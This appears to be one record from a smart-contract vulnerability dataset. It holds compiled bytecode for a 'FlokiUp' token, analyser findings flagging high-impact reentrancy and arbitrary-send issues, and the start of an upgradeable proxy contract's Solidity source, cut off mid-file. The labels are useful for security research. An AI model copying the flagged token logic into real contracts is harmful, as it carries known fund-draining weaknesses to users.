000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600781526020017f466c6f6b69557000000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506801a055690d9db800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f466c6f6b69557000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601442611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eebb571641fd365a7fe534fa1819ac3d6f509f885d4e1044bb07cb2ac89d0fd164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,047
0xec981587604e4f87be73b2c159272d5e39d9dfd5
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() virtual internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() virtual internal; /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract return; _willFallback(); _delegate(_implementation()); } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ abstract contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() override internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() virtual override internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); //super._willFallback(); } } interface IAdminUpgradeabilityProxyView { function admin() external view returns (address); function implementation() external view returns (address); } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } //function _willFallback() virtual override internal { //super._willFallback(); //} } /** * @title AdminUpgradeabilityProxy 